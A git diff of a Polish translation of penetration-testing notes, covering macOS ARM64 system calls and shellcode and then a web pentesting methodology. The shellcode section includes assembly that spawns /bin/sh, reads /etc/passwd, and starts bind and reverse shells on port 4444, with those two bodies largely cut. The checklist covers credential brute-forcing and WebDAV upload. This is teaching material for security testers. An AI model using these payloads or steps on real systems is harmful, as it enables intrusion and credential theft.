[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) tabelę `mach_trap_table` oraz w [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) prototypy. Maksymalna liczba Mach traps to `MACH_TRAP_TABLE_COUNT` = 128. Mach traps będą miały **x16 < 0**, więc trzeba wywoływać numery z poprzedniej listy ze znakiem minus: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**. -Możesz również sprawdzić **`libsystem_kernel.dylib`** w dezasemblatorze, aby znaleźć, jak wywołać te (i BSD) wywołania systemowe: +Możesz też sprawdzić **`libsystem_kernel.dylib`** w disassemblerze, aby znaleźć, jak wywoływać te (i BSD) syscalls: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Zauważ, że **Ida** i **Ghidra** mogą również dekompilować **specyficzne dyliby** z pamięci podręcznej, po prostu przekazując pamięć podręczną. +Zauważ, że **Ida** i **Ghidra** mogą również zdekompilować **specific dylibs** z cache, po prostu podając cache. > [!TIP] -> Czasami łatwiej jest sprawdzić **dekompilowany** kod z **`libsystem_kernel.dylib`** **niż** sprawdzać **kod źródłowy**, ponieważ kod kilku wywołań systemowych (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w dylib można znaleźć, co jest wywoływane. +> Czasami łatwiej jest sprawdzić **zdekompilowany** kod z **`libsystem_kernel.dylib`** niż sprawdzać **kod źródłowy**, ponieważ kod kilku syscalli (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w dylib możesz znaleźć, co jest wywoływane. -### wywołania machdep +### machdep calls -XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczby tych wywołań zależą od architektury i ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe. +XNU obsługuje inny typ wywołań zwanych machine dependent. Numery tych wywołań zależą od architektury i ani wywołania, ani ich numery nie są gwarantowane jako stałe. -### strona comm +### comm page -To jest strona pamięci właściciela jądra, która jest mapowana w przestrzeni adresowej każdego procesu użytkownika. Ma na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra w porównaniu do używania wywołań systemowych dla usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne. +To jest strona pamięci należąca do kernela, która jest mapowana w przestrzeni adresowej każdego procesu użytkownika. Ma to na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra w porównaniu z używaniem syscalli dla usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne. -Na przykład wywołanie `gettimeofdate` odczytuje wartość `timeval` bezpośrednio z strony comm. +Na przykład wywołanie `gettimeofdate` odczytuje wartość `timeval` bezpośrednio z comm page. ### objc_msgSend -Bardzo często można znaleźć tę funkcję używaną w programach Objective-C lub Swift. Ta funkcja pozwala na wywołanie metody obiektu Objective-C. +Bardzo często funkcję tę można znaleźć w programach Objective-C lub Swift. Funkcja ta pozwala wywołać metodę obiektu Objective-C. -Parametry ([więcej informacji w dokumentacji](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Wskaźnik do instancji - x1: op -> Selektor metody -- x2... -> Reszta argumentów wywoływanej metody +- x2... -> Pozostałe argumenty wywoływanej metody -Więc, jeśli ustawisz punkt przerwania przed gałęzią do tej funkcji, możesz łatwo znaleźć, co jest wywoływane w lldb (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie): +Jeśli ustawisz breakpoint przed skokiem do tej funkcji, możesz łatwo znaleźć, co jest wywoływane w lldb (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,27 +372,27 @@ whoami ) ``` > [!TIP] -> Ustawiając zmienną środowiskową **`NSObjCMessageLoggingEnabled=1`**, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`. +> Ustawiając zmienną środowiskową **`NSObjCMessageLoggingEnabled=1`** można użyć **log**, aby zapisać, kiedy ta funkcja jest wywoływana, do pliku takiego jak `/tmp/msgSends-pid`. > -> Ponadto, ustawiając **`OBJC_HELP=1`** i wywołując dowolny binarny plik, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do **logowania**, kiedy występują określone akcje Objc-C. +> Ponadto, ustawiając **`OBJC_HELP=1`** i uruchamiając dowolny binarny plik, możesz zobaczyć inne zmienne środowiskowe, których można użyć do **log**, aby rejestrować występowanie określonych akcji Objc-C. -Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazanej instancji, w tym celu przeprowadza się różne wyszukiwania: +Gdy ta funkcja jest wywoływana, trzeba znaleźć wywoływaną metodę wskazanego egzemplarza; w tym celu wykonywane są różne wyszukiwania: -- Wykonaj optymistyczne wyszukiwanie w pamięci podręcznej: -- Jeśli się powiedzie, zakończ -- Zdobądź runtimeLock (odczyt) -- Jeśli (realize && !cls->realized) zrealizuj klasę -- Jeśli (initialize && !cls->initialized) zainicjuj klasę -- Spróbuj pamięci podręcznej klasy: -- Jeśli się powiedzie, zakończ -- Spróbuj listy metod klasy: -- Jeśli znaleziono, wypełnij pamięć podręczną i zakończ -- Spróbuj pamięci podręcznej klasy nadrzędnej: -- Jeśli się powiedzie, zakończ -- Spróbuj listy metod klasy nadrzędnej: -- Jeśli znaleziono, wypełnij pamięć podręczną i zakończ -- Jeśli (resolver) spróbuj resolvera metod i powtórz od wyszukiwania klasy -- Jeśli nadal tutaj (= wszystko inne nie powiodło się) spróbuj forwardera +- Perform optimistic cache lookup: +- If successful, done +- Acquire runtimeLock (read) +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- Try class own cache: +- If successful, done +- Try class method list: +- If found, fill cache and done +- Try superclass cache: +- If successful, done +- Try superclass method list: +- If found, fill cache and done +- If (resolver) try method resolver, and repeat from class lookup +- If still here (= all else has failed) try forwarder ### Shellcodes @@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Dla nowszych macOS: +Dla nowszych wersji macOS: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -467,7 +470,7 @@ return 0; #### Shell -Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i wyjaśnione. +Pobrane z [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i wyjaśnione. {{#tabs}} {{#tab name="with adr"}} @@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="z użyciem stosu"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="z adr dla linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -537,9 +540,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### Czytaj za pomocą cat +#### Odczyt przy użyciu cat -Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, więc drugi argument (x1) to tablica parametrów (co w pamięci oznacza stos adresów). +Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, więc drugi argument (x1) jest tablicą params (co w pamięci oznacza stack adresów). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Wywołaj polecenie z sh z fork, aby główny proces nie został zabity +#### Wywołaj polecenie przez sh z forka, aby główny proces nie został zabity ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell z [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) na **porcie 4444** +Bind shell z [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s] na **porcie 4444** ```armasm .section __TEXT,__text .global _main @@ -695,7 +698,7 @@ svc #0x1337 ``` #### Reverse shell -Z [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell do **127.0.0.1:4444** +Z [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s], revshell do **127.0.0.1:4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 5032a6cbc..fa3296561 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - Pentesting Web - Metodologia +# 80,443 - Pentesting Web Methodology {{#include ../../banners/hacktricks-training.md}} ## Podstawowe informacje -Usługa webowa jest najbardziej **powszechną i rozbudowaną usługą**, a istnieje wiele **różnych typów podatności**. +Usługa webowa jest **najczęstszą i najbardziej rozbudowaną usługą**, a także występuje wiele **różnych typów podatności**. -**Domyślne porty:** 80 (HTTP), 443(HTTPS) +**Domyślne porty:** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web API Guidance +### Wytyczne Web API {{#ref}} @@ -26,46 +26,46 @@ web-api-pentesting.md ## Podsumowanie metodologii -> W tej metodologii założymy, że będziesz atakować pojedynczą domenę (lub subdomenę) i tylko ją. Zastosuj tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem web w zakresie. +> W tej metodologii zakładamy, że będziesz atakować jedną domenę (lub subdomenę) i tylko ją. Zatem powinieneś stosować tę metodologię dla każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem WWW w zakresie. -- [ ] Rozpocznij od **identyfikacji** **technologii** używanych przez serwer web. Szukaj **sztuczek**, które warto mieć na uwadze podczas dalszego testu, jeśli uda Ci się poprawnie zidentyfikować technologię. -- [ ] Czy istnieje jakaś **znana podatność** dla wersji tej technologii? -- [ ] Czy używana jest jakaś **znana technologia**? Jakieś **przydatne sztuczki** do wydobycia dodatkowych informacji? -- [ ] Czy należy uruchomić jakiś **wyspecjalizowany skaner** (np. wpscan)? -- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiadomo, czy coś znajdą lub odkryją ciekawe informacje. -- [ ] Zacznij od **początkowych kontroli**: **robots**, **sitemap**, błąd **404** oraz **SSL/TLS scan** (jeśli HTTPS). -- [ ] Rozpocznij **spidering** strony: czas **odnaleźć** wszystkie możliwe **pliki, foldery** oraz **używane parametry.** Sprawdź też pod kątem **specjalnych odkryć**. -- [ ] _Zauważ, że za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go spiderować._ -- [ ] **Directory Brute-Forcing**: Spróbuj brute-force wszystkich odkrytych folderów w poszukiwaniu nowych **plików** i **katalogów**. -- [ ] _Zauważ, że za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go Brute-Forced._ -- [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **odkrytych plików** przez dodanie typowych rozszerzeń kopii zapasowych. -- [ ] **Brute-Force parameters**: Spróbuj **odnaleźć ukryte parametry**. -- [ ] Gdy **zidentyfikujesz** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje związanych z nimi **vulnerabilities**. +- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer WWW. Szukaj **trików**, które warto mieć na uwadze w trakcie dalszego testu, jeśli uda się zidentyfikować technologię. +- [ ] Czy istnieje jakaś **known vulnerability** dla wersji danej technologii? +- [ ] Czy używana jest jakaś **well known tech**? Jakieś **useful trick** pozwalające wydobyć więcej informacji? +- [ ] Czy są jakieś **specialised scanner** do uruchomienia (jak wpscan)? +- [ ] Uruchom **general purposes scanners**. Nigdy nie wiadomo, czy coś znajdą lub czy wyciągną interesujące informacje. +- [ ] Zacznij od **initial checks**: **robots**, **sitemap**, błąd **404** oraz **SSL/TLS scan** (jeśli HTTPS). +- [ ] Rozpocznij **spidering** strony: czas znaleźć wszystkie możliwe **files, folders** i **parameters being used.** Sprawdź także **special findings**. +- [ ] _Uwaga: za każdym razem gdy odkryjesz nowy katalog podczas brute-forcingu lub spideringu, powinien on zostać spiderowany._ +- [ ] **Directory Brute-Forcing**: Spróbuj brute-force wszystkich odkrytych folderów w poszukiwaniu nowych **files** i **directories**. +- [ ] _Uwaga: za każdym razem gdy odkryjesz nowy katalog podczas brute-forcingu lub spideringu, powinien on zostać Brute-Forced._ +- [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **discovered files** poprzez dopisanie typowych rozszerzeń kopii zapasowych. +- [ ] **Brute-Force parameters**: Spróbuj znaleźć ukryte parametry (**hidden parameters**). +- [ ] Gdy **identified** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje **vulnerabilities** związanych z nimi. - [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md) -## Wersja serwera (Podatna?) +## Wersja serwera (podatna?) ### Identyfikacja -Sprawdź, czy istnieją **znane podatności** dla wersji serwera, która jest uruchomiona.\ -**Nagłówki HTTP i cookies odpowiedzi** mogą być bardzo przydatne do **identyfikacji** używanych **technologii** i/lub **wersji**. **Nmap scan** może zidentyfikować wersję serwera, przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech** ](https://github.com/ShielderSec/webtech) lub [**https://builtwith.com/**](https://builtwith.com): +Sprawdź, czy dla uruchomionej wersji serwera istnieją **known vulnerabilities**. +**HTTP headers** oraz **cookies** odpowiedzi mogą być bardzo przydatne do identyfikacji używanych **technologies** i/lub **version**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być też narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) lub [**https://builtwith.com/**](https://builtwith.com): ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Szukaj [**podatności wersji aplikacji webowej**](../../generic-hacking/search-exploits.md) +Szukaj **dla** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Sprawdź, czy istnieje WAF** +### **Sprawdź, czy jest WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Triki dotyczące technologii webowych +### Triki technologii webowych -Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **technologiach** używanych: +Kilka **trików** do **znajdowania podatności** w różnych dobrze znanych **technologiach** używanych: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,25 +101,26 @@ Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **t - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Pamiętaj, że ten **same domain** może korzystać z **different technologies** na różnych **ports**, **folders** i **subdomains**._\ -Jeśli aplikacja webowa używa którejkolwiek z dobrze znanych technologii/platform wymienionych wcześniej lub **any other**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!). +_Weź pod uwagę, że ta **sama domena** może używać **różnych technologii** na różnych **portach**, w różnych **folderach** i na różnych **subdomenach**._\ +Jeśli aplikacja webowa używa którejkolwiek znanej **technologii/platformy wymienionych wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!). -### Przegląd kodu źródłowego +### Source Code Review -Jeśli **source code** aplikacji jest dostępny na **github**, oprócz przeprowadzenia przez siebie **White box test** aplikacji, istnieją pewne informacje, które mogą być **useful** dla bieżącego **Black-Box testing**: +Jeżeli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia przez **Ciebie testu White box** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**: -- Czy istnieje plik **Change-log or Readme or Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez web? -- W jaki sposób i gdzie są przechowywane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (nazwy użytkowników lub hasła)? +- Czy istnieje plik **Change-log or Readme or Version** lub coś z **version info accessible** przez web? +- Jak i gdzie są zapisane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (usernames or passwords)? - Czy **passwords** są w **plain text**, **encrypted** czy jaki **hashing algorithm** jest używany? - Czy używa jakiegoś **master key** do szyfrowania czegoś? Jaki **algorithm** jest używany? - Czy możesz **access any of these files** wykorzystując jakąś podatność? -- Czy są jakieś **interesting information in the github** (rozwiązane i nierozwiązane) w **issues**? A może w **commit history** (może jakieś **password introduced inside an old commit**)? +- Czy na **github** są jakieś **interesujące informacje** (solved and not solved) w **issues**? Albo w **commit history** (może jakieś **password introduced inside an old commit**)? + {{#ref}} code-review-tools.md {{#endref}} -### Automatyczne skanery +### Automatic scanners #### Automatyczne skanery ogólnego przeznaczenia ```bash @@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Skanery CMS -Jeśli używany jest CMS, nie zapomnij **run a scanner**, może znajdziesz coś ciekawego: +Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, może uda się znaleźć coś ciekawego: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** stron pod kątem problemów bezpieczeństwa. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** witryny pod kątem problemów z bezpieczeństwem. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **lub** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -148,45 +149,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Na tym etapie powinieneś już mieć pewne informacje o web server używanym przez klienta (jeśli podano jakieś dane) oraz kilka sztuczek, o których warto pamiętać podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś scanner. +> Na tym etapie powinieneś już mieć pewne informacje o serwerze webowym używanym przez klienta (jeśli przekazano jakieś dane) oraz kilka sztuczek, o których warto pamiętać podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś skaner. -## Krok po kroku odkrywanie Web Application +## Step-by-step Web Application Discovery > Od tego momentu zaczniemy wchodzić w interakcję z aplikacją webową. -### Wstępne sprawdzenia +### Initial checks -**Domyślne strony z interesującymi informacjami:** +**Default pages with interesting info:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Sprawdź również komentarze na stronach głównych i pomocniczych. +- Sprawdź także komentarze na stronach głównych i pomocniczych. -**Wymuszanie błędów** +**Forcing errors** -Web servers mogą **zachowywać się nieoczekiwanie**, gdy do nich wysyłane są nietypowe dane. To może otworzyć **vulnerabilities** lub spowodować **ujawnienie wrażliwych informacji**. +Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do nich nietypowe dane. To może skutkować ujawnieniem **luki** lub **ujawnienia wrażliwych informacji**. -- Odwiedź **fake pages** takie jak /whatever_fake.php (.aspx,.html,.etc) -- **Add "\[]", "]]", and "\[\["** w **cookie values** i w wartościach **parameter**, aby wywołać błędy -- Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL** -- Spróbuj **różnych HTTP Verbs** takich jak PATCH, DEBUG lub nieprawidłowych, np. FAKE +- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.etc) +- **Dodaj "\[]", "]]", and "\[\["** w **wartościach cookie** i **wartościach parametrów** aby wywołać błędy +- Wygeneruj błąd, podając wejście jako **`/~randomthing/%s`** na **końcu** **URL** +- Spróbuj **różnych metod HTTP**, np. PATCH, DEBUG lub błędnych typu FAKE -#### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Sprawdź, czy możesz wysyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Jeśli okaże się, że **WebDav** jest **enabled**, ale nie masz wystarczających uprawnień do **uploading files** w katalogu root, spróbuj: +Jeśli okaże się, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **wysyłania plików** w katalogu root, spróbuj: -- Wykonaj **Brute Force** na credentials -- **Upload files** przez WebDav do pozostałych znalezionych folderów na stronie. Możesz mieć uprawnienia do przesyłania plików w innych folderach. +- **Brute Force credentials** +- **Upload files** przez WebDav do pozostałych znalezionych folderów na stronie. Możesz mieć uprawnienia do uploadu plików w innych folderach. ### **SSL/TLS vulnerabilites** -- Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **vulnerable to MitM** -- Jeśli aplikacja **wysyła wrażliwe dane (hasła) przez HTTP**, to jest to wysoka podatność. +- Jeśli aplikacja **nigdzie nie wymusza użycia HTTPS**, to jest **podatna na MitM** +- Jeśli aplikacja **wysyła dane wrażliwe (hasła) przez HTTP**, to jest to poważna luka. -Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) aby sprawdzić **vulnerabilities** (W programach Bug Bounty prawdopodobnie tego typu podatności nie zostaną zaakceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić vulnerabilities: +Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzenia **luki** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) oraz użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić luki: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -202,53 +203,53 @@ Informacje o podatnościach SSL/TLS: ### Spidering -Uruchom jakiś rodzaj **spider** wewnątrz serwisu WWW. Celem spidera jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego crawlery i zewnętrzne źródła powinny być użyte, aby znaleźć jak najwięcej prawidłowych ścieżek. +Uruchom jakiś rodzaj **spidera** na stronie. Celem spidera jest **znalezienie jak największej liczby paths** z testowanej aplikacji. Dlatego warto użyć web crawlingu oraz zewnętrznych źródeł, aby odnaleźć jak najwięcej poprawnych paths. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i zewnętrznych źródłach (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFider dla plików JS i Archive.org jako źródło zewnętrzne. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, wskazuje także "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Wyszukuje również w Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Możesz wskazać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane, prekompilowana wersja jest stara, a obecny kod nie kompiluje się. -- [**gau**](https://github.com/lc/gau) (go): HTML spider, który używa zewnętrznych dostawców (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie URL-e z parametrami i je wypisze. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwościami renderowania JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwością beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto też zerknąć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów zarówno w źródle HTML jak i osadzonych plikach javascript. Przydatne dla bug hunterów, red teamów, infosec ninja. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do łatwego odkrywania żądań AJAX. Wygląda na nieutrzymywany. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla pliku (HTML) wyciągnie URL-e używając sprytnego regexa, by znaleźć i wyodrębnić względne URL-e z niechlujnych (minifikowanych) plików. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS oraz zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako źródłem zewnętrznym. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dodatkowo wskazuje "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Przeszukuje też Archive.org. +- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Wskaż plik z hostami i plik z pathami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda na to, że jest nieutrzymywany, dostępna prekompilowana wersja jest stara, a bieżący kod nie kompiluje się. +- [**gau**](https://github.com/lc/gau) (go): HTML spider korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skrypt znajdzie URL-e z parametrami i je wylistuje. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwością renderowania JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider z funkcjami beautify dla JS, potrafi wyszukiwać nowe ścieżki w plikach JS. Warto też rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem dla LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyciągania endpointów zarówno z HTML, jak i osadzonego javascriptu. Przydatny dla bug hunterów, red teamerów, infosec ninja. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do odkrywania żądań AJAX. Wygląda na nieutrzymywany. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga URL-e używając sprytnego regexa do znajdowania i ekstrakcji względnych URL-i z nieładnych (minified) plików. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS używając kilku narzędzi. - [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane przy ładowaniu strony. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery contentu łączące kilka opcji poprzednich narzędzi -- [**Javascript 